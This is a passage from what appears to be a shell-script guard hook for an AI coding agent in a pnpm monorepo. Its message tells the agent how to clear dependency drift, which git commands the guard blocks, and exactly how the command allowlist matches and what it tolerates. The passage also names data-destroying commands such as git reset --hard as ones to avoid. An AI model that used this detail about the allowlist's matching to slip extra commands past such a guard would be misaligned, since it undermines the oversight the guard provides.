check out the exact commit you want, create a feature branch from it, then run 'pnpm install' to bring node_modules DOWN to the version that commit pinned. That is a legitimate choice, not a mistake - the downgrade is the point. ON A FEATURE BRANCH: a bare 'pnpm install' aligns node_modules to YOUR BRANCH pin, which is usually what you want, and it clears this block. If you actually want main's newer @webpieces, still run 'pnpm install' FIRST to clear the drift and re-arm the guards, and only THEN sync from main normally. To sync a FEATURE branch from main use pnpm wp-start-update (no PR open) or pnpm wp-start-upsert-pr (a PR is open). Do NOT try to run those two while this block is up: they are not on the allowlist, and they do not need to be - the install comes first. To get main itself current: ON main, run 'git pull origin main'. In a linked worktree (main is checked out in the primary clone, so checkout main fatals there), run 'git fetch origin main' and branch off origin/main. Do NOT reach for git merge --ff-only / git reset --hard / git checkout -B main: merge and rebase are blocked in EVERY form by redirect-how-to-merge-main, and the reset/-B forms silently throw away commits. git pull and git fetch are allowed while this guard is up and are the cure here. git merge is NOT allowed - not by this guard and not by redirect-how-to-merge-main once the guards are back - because main is merged ONLY through the 3-point fork merge: 'pnpm wp-start-update', or 'pnpm wp-start-upsert-pr' when a PR is already open. Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. Seriously: do NOT append && anything (not even a harmless && git status), do NOT wrap it in a subshell. The allowlist is anchored to the ENTIRE command, so anything you bolt on makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. The only additions tolerated are a LEADING cd <dir> && (needed to run the cure in a linked worktree, since the harness resets a cwd that left the workspace and puts you back in the primary clone - that one IS accepted), a trailing 2>&1, and a pipe into tail/head (e.g. cd /path/to/worktree && pnpm install 2>&1 | tail -20)."
165
177
  else
166
178
  # A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:
167
179
  # git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no